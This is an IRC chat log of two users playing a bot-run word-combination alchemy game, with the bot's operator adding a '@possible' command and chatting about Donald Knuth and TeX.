[2014-12-31T12:58:39-0500] <alokpathy> @combine villain hacker
[2014-12-31T12:58:40-0500] <alchemy> villain and hacker don't make anything exciting.
[2014-12-31T12:58:45-0500] <alokpathy> @combine sentience hacker
[2014-12-31T12:58:46-0500] <alchemy> sentience and hacker don't make anything exciting.
[2014-12-31T12:58:50-0500] <alokpathy> @combine sentience linux
[2014-12-31T12:58:51-0500] <alchemy> sentience and linux don't make anything exciting.
[2014-12-31T12:58:53-0500] <Tamini_> @combine hacker sword
[2014-12-31T12:58:54-0500] <alchemy> hacker and sword don't make anything exciting.
[2014-12-31T12:58:57-0500] <Tamini_> @combine sword sentience
[2014-12-31T12:58:57-0500] <alchemy> sword and sentience don't make anything exciting.
[2014-12-31T12:59:06-0500] <alokpathy> @combine sentience knight
[2014-12-31T12:59:06-0500] <Tamini_> @combine tree sentience
[2014-12-31T12:59:07-0500] <alchemy> You already combined sentience and knight to get chivalry.
[2014-12-31T12:59:08-0500] <alchemy> tree and sentience don't make anything exciting.
[2014-12-31T12:59:11-0500] <alokpathy> @llist
[2014-12-31T12:59:13-0500] <alokpathy> @list
[2014-12-31T12:59:13-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T12:59:13-0500] <alchemy> You have: thunder, snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, blackhat, metal, rain, water
[2014-12-31T12:59:13-0500] <alchemy> You have: evil, hole, man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T12:59:13-0500] <alchemy> That's 57 out of 103!
[2014-12-31T12:59:14-0500] <Tamini_> @hint
[2014-12-31T12:59:15-0500] <alchemy> Not this time!
[2014-12-31T12:59:18-0500] <Tamini_> @hint
[2014-12-31T12:59:19-0500] <alchemy> No can do, buddy.
[2014-12-31T12:59:21-0500] <alokpathy> @combine ent hacker
[2014-12-31T12:59:21-0500] <alchemy> ent and hacker don't make anything exciting.
[2014-12-31T12:59:24-0500] <alokpathy> @combine ent google
[2014-12-31T12:59:25-0500] <Tamini_> @hint
[2014-12-31T12:59:25-0500] <alchemy> ent and google don't make anything exciting.
[2014-12-31T12:59:26-0500] <alchemy> Not this time!
[2014-12-31T12:59:31-0500] <Tamini_> @combine hacker google
[2014-12-31T12:59:32-0500] <alchemy> hacker and google don't make anything exciting.
[2014-12-31T12:59:36-0500] <Tamini_> stackoverflow pls
[2014-12-31T12:59:38-0500] <Tamini_> :(
[2014-12-31T12:59:41-0500] <Tamini_> @hint
[2014-12-31T12:59:42-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:59:45-0500] <Tamini_> @hint
[2014-12-31T12:59:46-0500] <alchemy> Not this time!
[2014-12-31T12:59:46-0500] <alokpathy> @hint
[2014-12-31T12:59:47-0500] <alchemy> Hint: It's possible to make internet!
[2014-12-31T12:59:50-0500] <alokpathy> Wow.
[2014-12-31T12:59:52-0500] <Tamini_> no shit
[2014-12-31T12:59:54-0500] <Tamini_> @hint
[2014-12-31T12:59:55-0500] <alchemy> No can do, buddy.
[2014-12-31T12:59:56-0500] <Tamini_> @hint
[2014-12-31T12:59:57-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T12:59:58-0500] <Tamini_> @hint
[2014-12-31T12:59:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T13:00:01-0500] <Tamini_> @hint
[2014-12-31T13:00:02-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T13:00:03-0500] <alokpathy> @combine stone hacker
[2014-12-31T13:00:03-0500] <Tamini_> @hint
[2014-12-31T13:00:04-0500] <alchemy> stone and hacker don't make anything exciting.
[2014-12-31T13:00:05-0500] <alchemy> No can do, buddy.
[2014-12-31T13:00:07-0500] <Tamini_> @hint
[2014-12-31T13:00:07-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T13:00:09-0500] <Tamini_> @hint
[2014-12-31T13:00:10-0500] <alchemy> Not this time!
[2014-12-31T13:00:12-0500] <Tamini_> @hint
[2014-12-31T13:00:12-0500] <alchemy> Not this time!
[2014-12-31T13:00:14-0500] <Tamini_> @hint
[2014-12-31T13:00:15-0500] <alchemy> No can do, buddy.
[2014-12-31T13:00:19-0500] <Tamini_> @hint pls
[2014-12-31T13:00:21-0500] <alokpathy> hardmath123: How long did you take coming up with all these combinations? LOL
[2014-12-31T13:00:22-0500] <alokpathy> @hint
[2014-12-31T13:00:23-0500] <alchemy> Hint: It's possible to make villain!
[2014-12-31T13:00:26-0500] <alokpathy> Thanks.
[2014-12-31T13:00:29-0500] <alokpathy> Real helpful.
[2014-12-31T13:00:39-0500] <alokpathy> @list
[2014-12-31T13:00:40-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, ice, linux, earth, ship, ocean, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:00:40-0500] <alchemy> You have: thunder, snow, lava, fire, aaron, ent, boat, sword, internet, penguin, puddle, engine, plant, fireman, tornado, tool, blackhat, metal, rain, water
[2014-12-31T13:00:40-0500] <alchemy> You have: evil, hole, man, stone, olaf, light, tree, robot, air, sandstorm, tsunami, rust, knight, lightning, sculpture, steam, wind
[2014-12-31T13:00:40-0500] <alchemy> That's 57 out of 103!
[2014-12-31T13:00:41-0500] <Tamini_> @hint
[2014-12-31T13:00:42-0500] <alchemy> No can do, buddy.
[2014-12-31T13:00:44-0500] <alokpathy> @hint
[2014-12-31T13:00:45-0500] <alchemy> No can do, buddy.
[2014-12-31T13:00:51-0500] <Tamini_> @combine rust knight
[2014-12-31T13:00:52-0500] <alchemy> rust and knight don't make anything exciting.
[2014-12-31T13:00:53-0500] <alokpathy> @combine boat penguin
[2014-12-31T13:00:54-0500] <alchemy> boat and penguin don't make anything exciting.
[2014-12-31T13:00:56-0500] <alokpathy> @combine ship penguin
[2014-12-31T13:00:57-0500] <alchemy> ship and penguin don't make anything exciting.
[2014-12-31T13:00:58-0500] <Tamini_> @combine wind boat
[2014-12-31T13:00:58-0500] <alchemy> wind and boat don't make anything exciting.
[2014-12-31T13:01:01-0500] <alokpathy> @combine ice ice
[2014-12-31T13:01:02-0500] <alchemy> ice and ice don't make anything exciting.
[2014-12-31T13:01:06-0500] <alokpathy> No iceberg?
[2014-12-31T13:01:07-0500] <Tamini_> @combine wind ship
[2014-12-31T13:01:08-0500] <alchemy> wind and ship don't make anything exciting.
[2014-12-31T13:01:11-0500] <alokpathy> @combine wind boat
[2014-12-31T13:01:11-0500] <+hardmath123> standby for reboot with a new feature -----
[2014-12-31T13:01:12-0500] <alchemy> wind and boat don't make anything exciting.
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[2014-12-31T13:01:25-0500] <alokpathy> oooo
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[2014-12-31T13:01:27-0500] <alokpathy> new feature
[2014-12-31T13:01:28-0500] <alokpathy> @list
[2014-12-31T13:01:30-0500] <Tamini_> new feature
[2014-12-31T13:01:30-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:01:30-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, fireman, fire, tree, tool, blackhat, rain, water
[2014-12-31T13:01:30-0500] <alchemy> You have: evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:01:30-0500] <alchemy> That's 57 out of 103!
[2014-12-31T13:01:30-0500] <+hardmath123> @possible linux
[2014-12-31T13:01:31-0500] <Tamini_> whoa
[2014-12-31T13:01:32-0500] <alchemy> Yeah, you can make linux.
[2014-12-31T13:01:35-0500] <Tamini_> @possible coding
[2014-12-31T13:01:36-0500] <alchemy> No, you can't make coding.
[2014-12-31T13:01:37-0500] <+hardmath123> @possible falkjsdhflaksjfha
[2014-12-31T13:01:37-0500] <alokpathy> Niceee
[2014-12-31T13:01:38-0500] <alchemy> No, you can't make falkjsdhflaksjfha.
[2014-12-31T13:01:40-0500] <Tamini_> @possible programming
[2014-12-31T13:01:40-0500] <alchemy> No, you can't make programming.
[2014-12-31T13:01:43-0500] <alokpathy> @possible knuth
[2014-12-31T13:01:44-0500] <alchemy> Yeah, you can make knuth.
[2014-12-31T13:01:44-0500] <Tamini_> @possible program
[2014-12-31T13:01:45-0500] <alchemy> No, you can't make program.
[2014-12-31T13:01:49-0500] <Tamini_> @possible latex
[2014-12-31T13:01:49-0500] <alchemy> No, you can't make latex.
[2014-12-31T13:01:50-0500] <alokpathy> @combine ctf
[2014-12-31T13:01:53-0500] <Tamini_> @possible flag
[2014-12-31T13:01:54-0500] <alchemy> No, you can't make flag.
[2014-12-31T13:01:54-0500] <alokpathy> @possible ctf
[2014-12-31T13:01:55-0500] <alchemy> No, you can't make ctf.
[2014-12-31T13:02:02-0500] <alokpathy> @possible ubuntu
[2014-12-31T13:02:02-0500] <alchemy> No, you can't make ubuntu.
[2014-12-31T13:02:04-0500] <+hardmath123> @possible tex
[2014-12-31T13:02:04-0500] <Tamini_> @possible algorithm
[2014-12-31T13:02:05-0500] <alchemy> Yeah, you can make tex.
[2014-12-31T13:02:06-0500] <alchemy> No, you can't make algorithm.
[2014-12-31T13:02:10-0500] <Tamini_> oh yay
[2014-12-31T13:02:14-0500] <+hardmath123> tex > latex, right?
[2014-12-31T13:02:15-0500] <Tamini_> @possible book
[2014-12-31T13:02:16-0500] <alchemy> No, you can't make book.
[2014-12-31T13:02:18-0500] <alokpathy> Tex might be like
[2014-12-31T13:02:20-0500] <alokpathy> knuth + something
[2014-12-31T13:02:24-0500] <Tamini_> hardmath123: not if youre a mathematician :P
[2014-12-31T13:02:30-0500] <Tamini_> knuth is probably tex man tho
[2014-12-31T13:02:32-0500] <alokpathy> @possible titanic
[2014-12-31T13:02:33-0500] <alchemy> No, you can't make titanic.
[2014-12-31T13:02:36-0500] <alokpathy> Tamini_: Or that
[2014-12-31T13:02:37-0500] <Tamini_> @possible paper
[2014-12-31T13:02:38-0500] <alchemy> No, you can't make paper.
[2014-12-31T13:02:42-0500] <alokpathy> @possible math
[2014-12-31T13:02:42-0500] <alchemy> No, you can't make math.
[2014-12-31T13:02:46-0500] <Tamini_> @possible cs
[2014-12-31T13:02:47-0500] <alchemy> No, you can't make cs.
[2014-12-31T13:02:50-0500] <alokpathy> @possible compsci
[2014-12-31T13:02:50-0500] <alchemy> No, you can't make compsci.
[2014-12-31T13:02:51-0500] <Tamini_> @possible science
[2014-12-31T13:02:52-0500] <alchemy> Yeah, you can make science.
[2014-12-31T13:02:55-0500] <Tamini_> WAIT WAIT
[2014-12-31T13:02:56-0500] <alokpathy> @possible stanford
[2014-12-31T13:02:57-0500] <Tamini_> ^
[2014-12-31T13:02:57-0500] <alchemy> No, you can't make stanford.
[2014-12-31T13:03:01-0500] <alokpathy> Oh hm
[2014-12-31T13:03:04-0500] <alokpathy> how to make science
[2014-12-31T13:03:06-0500] <alokpathy> @list
[2014-12-31T13:03:09-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:03:09-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, fireman, fire, tree, tool, blackhat, rain, water
[2014-12-31T13:03:09-0500] <alchemy> You have: evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:03:09-0500] <alchemy> That's 57 out of 103!
[2014-12-31T13:03:12-0500] <+hardmath123> Tamini_: I went to a Knuth lecture a couple months ago. In one of his books (formatted in TeX), if you read the first letter on each line of the preface, you get "Martingardner".
[2014-12-31T13:03:20-0500] <Tamini_> haha niceeee
[2014-12-31T13:03:24-0500] <alokpathy> Nicenice
[2014-12-31T13:03:29-0500] <Tamini_> duuude you get to go to knuth lectures
[2014-12-31T13:03:40-0500] <Tamini_> alokpathy and i sat next to scott aaronson once
[2014-12-31T13:03:42-0500] <alokpathy> Tell Knuth to come over here
[2014-12-31T13:03:44-0500] <Tamini_> does that count
[2014-12-31T13:03:45-0500] <Tamini_> ^
[2014-12-31T13:03:53-0500] <Tamini_> @possible chemistry
[2014-12-31T13:03:53-0500] <alchemy> No, you can't make chemistry.
[2014-12-31T13:03:57-0500] <alokpathy> @possible  physics
[2014-12-31T13:03:58-0500] <Tamini_> @possible love
[2014-12-31T13:03:59-0500] <alchemy> Yeah, you can make love.
[2014-12-31T13:03:59-0500] <alokpathy> @possible physics
[2014-12-31T13:04:00-0500] <alchemy> No, you can't make physics.
[2014-12-31T13:04:04-0500] <Tamini_> wut
[2014-12-31T13:04:04-0500] <alokpathy> Hmm love
[2014-12-31T13:04:11-0500] <alokpathy> @combine man olaf
[2014-12-31T13:04:12-0500] <alchemy> man and olaf don't make anything exciting.
[2014-12-31T13:04:12-0500] <Tamini_> hacker + hacker isnt love
[2014-12-31T13:04:14-0500] <Tamini_> what could ne
[2014-12-31T13:04:15-0500] <Tamini_> be
[2014-12-31T13:04:20-0500] <Tamini_> @possible woman
[2014-12-31T13:04:21-0500] <alchemy> No, you can't make woman.
[2014-12-31T13:04:24-0500] <alokpathy> @combine chivalry man
[2014-12-31T13:04:24-0500] <alchemy> chivalry and man don't make anything exciting.
[2014-12-31T13:04:33-0500] <alokpathy> @possible washington
[2014-12-31T13:04:34-0500] <alchemy> No, you can't make washington.
[2014-12-31T13:04:37-0500] <Tamini_> @possible animal
[2014-12-31T13:04:37-0500] <alchemy> No, you can't make animal.
[2014-12-31T13:04:39-0500] <alokpathy> @possible alokpathy
[2014-12-31T13:04:39-0500] <alchemy> No, you can't make alokpathy.
[2014-12-31T13:04:44-0500] <alokpathy> @possible alok
[2014-12-31T13:04:44-0500] <alchemy> No, you can't make alok.
[2014-12-31T13:04:47-0500] <Tamini_> @possible tamini
[2014-12-31T13:04:48-0500] <alokpathy> @possible Tamini_ 
[2014-12-31T13:04:48-0500] <alchemy> No, you can't make tamini.
[2014-12-31T13:04:54-0500] <Tamini_> :< my feels
[2014-12-31T13:04:54-0500] <alokpathy> @possible ashley
[2014-12-31T13:04:55-0500] <alchemy> No, you can't make ashley.
[2014-12-31T13:05:00-0500] <alokpathy> @possible hardmath123 
[2014-12-31T13:05:03-0500] <alokpathy> @possible hardmath123
[2014-12-31T13:05:04-0500] <alchemy> No, you can't make hardmath123.
[2014-12-31T13:05:12-0500] <Tamini_> @possible kartik
[2014-12-31T13:05:12-0500] <alchemy> No, you can't make kartik.
[2014-12-31T13:05:19-0500] <Tamini_> hm
[2014-12-31T13:05:19-0500] <alokpathy> @possible ppp
[2014-12-31T13:05:21-0500] <alchemy> No, you can't make ppp.
[2014-12-31T13:05:24-0500] <alokpathy> @possible picoctf
[2014-12-31T13:05:25-0500] <alchemy> No, you can't make picoctf.
[2014-12-31T13:05:27-0500] <Tamini_> @possible geohot
[2014-12-31T13:05:28-0500] <alchemy> No, you can't make geohot.
[2014-12-31T13:05:35-0500] <Tamini_> @possible apple
[2014-12-31T13:05:36-0500] <alchemy> No, you can't make apple.
[2014-12-31T13:05:40-0500] <Tamini_> @possible window
[2014-12-31T13:05:40-0500] <alokpathy> @possible microsoft
[2014-12-31T13:05:40-0500] <alchemy> No, you can't make window.
[2014-12-31T13:05:41-0500] <alchemy> No, you can't make microsoft.
[2014-12-31T13:05:53-0500] <alokpathy> @list
[2014-12-31T13:05:54-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:05:54-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, fireman, fire, tree, tool, blackhat, rain, water
[2014-12-31T13:05:54-0500] <alchemy> You have: evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:05:54-0500] <alchemy> That's 57 out of 103!
[2014-12-31T13:06:01-0500] <alokpathy> @combine evil hole
[2014-12-31T13:06:02-0500] <alchemy> evil and hole don't make anything exciting.
[2014-12-31T13:06:04-0500] <Tamini_> @possible rainbow
[2014-12-31T13:06:05-0500] <alchemy> Yeah, you can make rainbow.
[2014-12-31T13:06:07-0500] <alokpathy> RAINBOW
[2014-12-31T13:06:08-0500] <alokpathy> :D
[2014-12-31T13:06:14-0500] <Tamini_> @combine rain light
[2014-12-31T13:06:14-0500] <alchemy> You just discovered rainbow (rain + light)!
[2014-12-31T13:06:20-0500] <alokpathy> nicee
[2014-12-31T13:06:29-0500] <Tamini_> science!
[2014-12-31T13:06:36-0500] <Tamini_> @possible sand
[2014-12-31T13:06:37-0500] <alchemy> No, you can't make sand.
[2014-12-31T13:06:38-0500] <alokpathy> @combine rainbow google
[2014-12-31T13:06:38-0500] <alchemy> rainbow and google don't make anything exciting.
[2014-12-31T13:06:40-0500] <Tamini_> @possible glass
[2014-12-31T13:06:40-0500] <alchemy> No, you can't make glass.
[2014-12-31T13:06:47-0500] <alokpathy> @possible alchemy
[2014-12-31T13:06:47-0500] <alchemy> No, you can't make alchemy.
[2014-12-31T13:06:55-0500] <alokpathy> @possible java
[2014-12-31T13:06:56-0500] <alchemy> No, you can't make java.
[2014-12-31T13:06:59-0500] <alokpathy> @possible python
[2014-12-31T13:06:59-0500] <alchemy> Yeah, you can make python.
[2014-12-31T13:07:02-0500] <alokpathy> Oh hm
[2014-12-31T13:07:03-0500] <Tamini_> lol @possible snake
[2014-12-31T13:07:08-0500] <alokpathy> @possible snake
[2014-12-31T13:07:08-0500] <Tamini_> @possible snake
[2014-12-31T13:07:08-0500] <alchemy> No, you can't make snake.
[2014-12-31T13:07:09-0500] <alchemy> No, you can't make snake.
[2014-12-31T13:07:11-0500] <Tamini_> uh
[2014-12-31T13:07:23-0500] <alokpathy> @combine computer hacker
[2014-12-31T13:07:23-0500] <alchemy> computer and hacker don't make anything exciting.
[2014-12-31T13:07:25-0500] <Tamini_> @possible animal
[2014-12-31T13:07:25-0500] <alchemy> No, you can't make animal.
[2014-12-31T13:07:28-0500] <Tamini_> @possible script
[2014-12-31T13:07:28-0500] <alchemy> No, you can't make script.
[2014-12-31T13:07:33-0500] <Tamini_> @possible bash
[2014-12-31T13:07:33-0500] <alokpathy> @possible lisp
[2014-12-31T13:07:34-0500] <alchemy> No, you can't make bash.
[2014-12-31T13:07:35-0500] <alchemy> No, you can't make lisp.
[2014-12-31T13:07:38-0500] <Tamini_> @possible perl
[2014-12-31T13:07:38-0500] <alchemy> No, you can't make perl.
[2014-12-31T13:07:44-0500] <alokpathy> @possible irc
[2014-12-31T13:07:44-0500] <alchemy> No, you can't make irc.
[2014-12-31T13:07:49-0500] <alokpathy> @list
[2014-12-31T13:07:50-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:07:50-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:07:50-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:07:50-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:07:53-0500] <Tamini_> hardmath123: maybe this functionality was a bad idea :P
[2014-12-31T13:07:55-0500] <Tamini_> @hint
[2014-12-31T13:07:55-0500] <alchemy> Nope.
[2014-12-31T13:07:57-0500] <alokpathy> @hint
[2014-12-31T13:07:58-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T13:08:00-0500] <Tamini_> @hint
[2014-12-31T13:08:00-0500] <alokpathy> @hint
[2014-12-31T13:08:00-0500] <alchemy> Hint: It's possible to make wind!
[2014-12-31T13:08:01-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T13:08:09-0500] <alokpathy> @hint
[2014-12-31T13:08:09-0500] <+hardmath123> Tamini_: I also own Knuth's personal French copy of `Le TeXBook`
[2014-12-31T13:08:10-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T13:08:17-0500] <alokpathy> @hint
[2014-12-31T13:08:17-0500] <alchemy> Not this time!
[2014-12-31T13:08:20-0500] <Tamini_> hardmath123: can you read it?
[2014-12-31T13:08:22-0500] <alokpathy> hardmath123: Oh nice
[2014-12-31T13:08:30-0500] <+hardmath123> I can sorta read it.
[2014-12-31T13:08:31-0500] <alokpathy> @combine man rust
[2014-12-31T13:08:32-0500] <alchemy> You already combined man and rust to get aaron.
[2014-12-31T13:08:36-0500] <alokpathy> lolol
[2014-12-31T13:08:43-0500] <alokpathy> @combine aaron man
[2014-12-31T13:08:43-0500] <alchemy> aaron and man don't make anything exciting.
[2014-12-31T13:08:58-0500] <alokpathy> @combine boat ocean
[2014-12-31T13:08:58-0500] <alchemy> You already combined boat and ocean to get ship.
[2014-12-31T13:09:01-0500] <alokpathy> @combine ship ocean
[2014-12-31T13:09:01-0500] <Tamini_> @possible math
[2014-12-31T13:09:01-0500] <alchemy> ship and ocean don't make anything exciting.
[2014-12-31T13:09:02-0500] <alchemy> No, you can't make math.
[2014-12-31T13:09:04-0500] <Tamini_> @possible numbers
[2014-12-31T13:09:06-0500] <alchemy> No, you can't make numbers.
[2014-12-31T13:09:09-0500] <alokpathy> @possible geometry
[2014-12-31T13:09:09-0500] <alchemy> No, you can't make geometry.
[2014-12-31T13:09:11-0500] <alokpathy> @possible geo
[2014-12-31T13:09:11-0500] <alchemy> No, you can't make geo.
[2014-12-31T13:09:14-0500] <Tamini_> @possible algebra
[2014-12-31T13:09:15-0500] <alchemy> No, you can't make algebra.
[2014-12-31T13:09:16-0500] <alokpathy> @possible algo
[2014-12-31T13:09:18-0500] <alchemy> No, you can't make algo.
[2014-12-31T13:09:19-0500] <Tamini_> @possible french
[2014-12-31T13:09:19-0500] <alchemy> No, you can't make french.
[2014-12-31T13:09:23-0500] <alokpathy> @possible english
[2014-12-31T13:09:23-0500] <alchemy> No, you can't make english.
[2014-12-31T13:09:26-0500] <alokpathy> @list
[2014-12-31T13:09:26-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:09:26-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:09:26-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:09:26-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:09:33-0500] <alokpathy> @combine ice ocean
[2014-12-31T13:09:34-0500] <alchemy> ice and ocean don't make anything exciting.
[2014-12-31T13:09:38-0500] <Tamini_> i think we're a little stuck
[2014-12-31T13:09:39-0500] <Tamini_> :P
[2014-12-31T13:09:42-0500] <alokpathy> @combine tsunami earth
[2014-12-31T13:09:42-0500] <alchemy> tsunami and earth don't make anything exciting.
[2014-12-31T13:09:43-0500] <Tamini_> also cmon
[2014-12-31T13:09:48-0500] <Tamini_> @possible iceberg
[2014-12-31T13:09:48-0500] <alchemy> No, you can't make iceberg.
[2014-12-31T13:09:53-0500] <alokpathy> Lame
[2014-12-31T13:09:54-0500] <Tamini_> @possible sun
[2014-12-31T13:09:54-0500] <alchemy> No, you can't make sun.
[2014-12-31T13:09:57-0500] <alokpathy> @possible sky
[2014-12-31T13:09:57-0500] <alchemy> No, you can't make sky.
[2014-12-31T13:10:00-0500] <Tamini_> @possible flower
[2014-12-31T13:10:01-0500] <alchemy> No, you can't make flower.
[2014-12-31T13:10:05-0500] <Tamini_> @possible chocolate
[2014-12-31T13:10:06-0500] <alchemy> No, you can't make chocolate.
[2014-12-31T13:10:08-0500] <Tamini_> @possible beer
[2014-12-31T13:10:09-0500] <alchemy> No, you can't make beer.
[2014-12-31T13:10:22-0500] <alokpathy> @possible blah
[2014-12-31T13:10:23-0500] <alchemy> No, you can't make blah.
[2014-12-31T13:10:27-0500] <Tamini_> so we know we can makr
[2014-12-31T13:10:29-0500] <Tamini_> science, knuth
[2014-12-31T13:10:31-0500] <Tamini_> what else
[2014-12-31T13:10:34-0500] <alokpathy> te
[2014-12-31T13:10:35-0500] <alokpathy> x
[2014-12-31T13:10:44-0500] <Tamini_> science, knuth, tex
[2014-12-31T13:10:49-0500] <Tamini_> @possible newton
[2014-12-31T13:10:49-0500] <alchemy> No, you can't make newton.
[2014-12-31T13:10:52-0500] <Tamini_> @possible einstein
[2014-12-31T13:10:53-0500] <alchemy> No, you can't make einstein.
[2014-12-31T13:10:58-0500] <alokpathy> @possible aaronson
[2014-12-31T13:10:59-0500] <alchemy> No, you can't make aaronson.
[2014-12-31T13:11:00-0500] <Tamini_> @possible maxwell
[2014-12-31T13:11:01-0500] <alchemy> No, you can't make maxwell.
[2014-12-31T13:11:04-0500] <alokpathy> @possible marx
[2014-12-31T13:11:05-0500] <alchemy> No, you can't make marx.
[2014-12-31T13:11:08-0500] <alokpathy> @possible obama
[2014-12-31T13:11:09-0500] <alchemy> No, you can't make obama.
[2014-12-31T13:11:14-0500] <alokpathy> @possible america
[2014-12-31T13:11:15-0500] <alchemy> No, you can't make america.
[2014-12-31T13:11:17-0500] <alokpathy> @possible flag
[2014-12-31T13:11:17-0500] <Tamini_> oh also
[2014-12-31T13:11:18-0500] <alchemy> No, you can't make flag.
[2014-12-31T13:11:20-0500] <Tamini_> you can make lovr
[2014-12-31T13:11:22-0500] <Tamini_> love*
[2014-12-31T13:11:23-0500] <alokpathy> Oh yeah
[2014-12-31T13:11:31-0500] <Tamini_> so knuth, science, tex, love
[2014-12-31T13:11:34-0500] <alokpathy> @list
[2014-12-31T13:11:35-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:11:35-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:11:35-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:11:35-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:11:44-0500] <alokpathy> @combine man rust
[2014-12-31T13:11:45-0500] <alchemy> You already combined man and rust to get aaron.
[2014-12-31T13:11:53-0500] <Tamini_> @combine man roboy
[2014-12-31T13:11:55-0500] <alchemy> You don't have roboy!
[2014-12-31T13:11:58-0500] <Tamini_> @combine man robot
[2014-12-31T13:11:59-0500] <alchemy> man and robot don't make anything exciting.
[2014-12-31T13:12:02-0500] <alokpathy> @combine man hal
[2014-12-31T13:12:03-0500] <alchemy> You already combined man and hal to get google.
[2014-12-31T13:12:19-0500] <alokpathy> @possible stack
[2014-12-31T13:12:20-0500] <alchemy> No, you can't make stack.
[2014-12-31T13:12:23-0500] <alokpathy> @possible queue
[2014-12-31T13:12:24-0500] <alchemy> No, you can't make queue.
[2014-12-31T13:12:28-0500] <alokpathy> @possible array
[2014-12-31T13:12:29-0500] <alchemy> No, you can't make array.
[2014-12-31T13:12:29-0500] <Tamini_> @combine linkedlist
[2014-12-31T13:12:32-0500] <alokpathy> @list
[2014-12-31T13:12:33-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:12:33-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:12:33-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:12:33-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:12:39-0500] <Tamini_> @possible list
[2014-12-31T13:12:39-0500] <alchemy> No, you can't make list.
[2014-12-31T13:12:42-0500] <alokpathy> @possible linkedlist
[2014-12-31T13:12:43-0500] <alchemy> No, you can't make linkedlist.
[2014-12-31T13:12:51-0500] <Tamini_> @possible pyramid
[2014-12-31T13:12:52-0500] <alchemy> No, you can't make pyramid.
[2014-12-31T13:12:54-0500] <Tamini_> @possible apps
[2014-12-31T13:12:55-0500] <alchemy> No, you can't make apps.
[2014-12-31T13:12:56-0500] <alokpathy> @possible gryffindor
[2014-12-31T13:12:57-0500] <alchemy> No, you can't make gryffindor.
[2014-12-31T13:12:57-0500] <Tamini_> @posible aops
[2014-12-31T13:13:02-0500] <alokpathy> @possible potter
[2014-12-31T13:13:03-0500] <alchemy> No, you can't make potter.
[2014-12-31T13:13:06-0500] <alokpathy> @possible voldemort
[2014-12-31T13:13:06-0500] <Tamini_> @possible aops
[2014-12-31T13:13:06-0500] <alchemy> No, you can't make voldemort.
[2014-12-31T13:13:07-0500] <alchemy> No, you can't make aops.
[2014-12-31T13:13:11-0500] <alokpathy> @possible facebook
[2014-12-31T13:13:12-0500] <alchemy> No, you can't make facebook.
